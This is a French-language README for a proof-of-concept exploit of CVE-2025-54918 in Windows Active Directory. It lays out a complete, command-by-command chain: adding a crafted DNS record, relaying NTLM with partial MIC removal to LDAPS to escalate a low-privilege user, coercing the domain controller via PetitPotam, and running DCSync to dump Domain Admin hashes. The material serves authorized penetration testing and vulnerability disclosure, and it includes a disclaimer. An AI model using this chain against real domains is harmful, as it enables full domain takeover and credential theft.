CVE-2025-54918 – Preuve de concept (PoC)

⚠️ Avis important

IMPORTANT :
Pour tester CVE-2025-54918, vous devez créer un enregistrement DNS dans l'environnement Active Directory cible.
Consultez toujours le client et obtenez une autorisation explicite avant de tester, car cela peut avoir un impact sur le comportement du DNS et de l'authentification dans les environnements de production.

Ce dépôt contient une preuve de concept technique démontrant comment un utilisateur de domaine à faibles privilèges peut élever ses privilèges jusqu'à un accès de niveau Admin de domaine en abusant de la réflexion NTLM combinée à la coercition d'authentification.

Remarque : la CVE est exploitable même avec la signature définie sur True, ce qui est la valeur par défaut pour un contrôleur de domaine. De plus, le correctif de CVE-2025–54918 concernait Windows 2025, et CVE-2025–33073 a corrigé (involontairement) Windows 2022.

Une analyse technique plus détaillée est disponible sur ma page Medium : https://yousofnahya.medium.com/hands-on-exploitation-of-cve-2025-54918-cf376ebb40e1

Environnement

• IP du contrôleur de domaine : 192.168.140.150 (la signature est définie sur True, ce qui est la valeur par défaut pour un contrôleur de domaine)
• IP de l'attaquant : 192.168.140.135
• Domaine : nahya.local
• Utilisateur : test Utilisateur de domaine valide (aucun privilège DCSync)

Outils

Clonez les dépôts requis :

git clone https://github.com/dirkjanm/krbrelayx.git
git clone https://github.com/decoder-it/impacket-partial-mic.git

Validation de référence (échec attendu)

Vérifiez que l'utilisateur ne peut pas effectuer de DCSync avant l'exploitation :

python3 impacket-partial-mic/examples/secretsdump.py USERNAME:PASSWORD@DC

Étape 1 : Ajouter un enregistrement DNS malveillant

Créez un enregistrement DNS utilisant le nom NetBIOS + 1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA qui résout vers l'IP de l'attaquant.

python3 dnstool.py -u 'nahya.local\USERNAME' -p 'PASSWORD' \
  dc.nahya.local -a add \
  -r 'localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA' \
  -d '192.168.140.135' -dns-ip 192.168.140.150

Étape 2 : Démarrer le relais NTLM (Terminal 1)

Exécutez ntlmrelayx avec la suppression partielle du MIC et l'escalade LDAP activées :

python3 impacket-partial-mic/examples/ntlmrelayx.py --remove-mic-partial -smb2support -t ldaps://DC  --escalate-user USERNAME  --no-validate-privs

Étape 3 : Coercition de l'authentification du contrôleur de domaine (Terminal 2)

Forcez le contrôleur de domaine à s'authentifier auprès de l'enregistrement DNS contrôlé par l'attaquant à l'aide d'une technique de coercition (PetitPotam) :

nxc smb DC -u 'USERNAME' -p 'PASSWORD' -M coerce_plus -o METHOD=PetitPotam LISTENER=localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA

Étape 4 : Vérifier l'exploitation (DCSync)

Relancez secretsdump pour confirmer l'élévation de privilèges :

python3 impacket-partial-mic/examples/secretsdump.py USERNAME:PASSWORD@DC

✅ Résultat attendu : DCSync réussi et récupération des hashs Admin de domaine

Résultat

À ce stade, l'attaquant a :

• Relayé l'authentification NTLM du contrôleur de domaine (signature True)
• Élevé ses privilèges via LDAP
• Réalisé un DCSync, entraînant la compromission totale du domaine

Consultez l'article Medium pour une explication approfondie de la vulnérabilité et de la chaîne d'attaque.

🙏 Crédits

Ce travail n'aurait pas été possible sans :

• Bryan De Houwer – Auteur de CVE-2025-54918 https://www.linkedin.com/in/bryan-de-houwer/
• Andrea Pierini – Pour ses excellentes recherches et blogs sur decoder.cloud https://www.linkedin.com/in/andrea-pierini-aba9a37/
• Andrea Pierini – Pour l'implémentation de impacket-partial-mic
  https://github.com/decoder-it/impacket-partial-mic

🔗 Références

• Analyse de la vulnérabilité de contournement de l'authentification NTLM et LDAP – Blog CrowdStrike
  https://www.crowdstrike.com/en-us/blog/analyzing-ntlm-ldap-authentication-bypass-vulnerability/

• Avis de sécurité Microsoft – CVE-2025-54918 – Guide de mise à jour MSRC
  https://msrc.microsoft.com/update-guide/advisory/CVE-2025-54918

Avertissement

Cette preuve de concept est fournie uniquement à des fins éducatives et de tests de sécurité autorisés.

• N'utilisez pas cette technique contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de tester.
• L'auteur décline toute responsabilité en cas d'utilisation abusive ou de dommages.
• Suivez toujours les pratiques de divulgation responsable et de piratage éthique.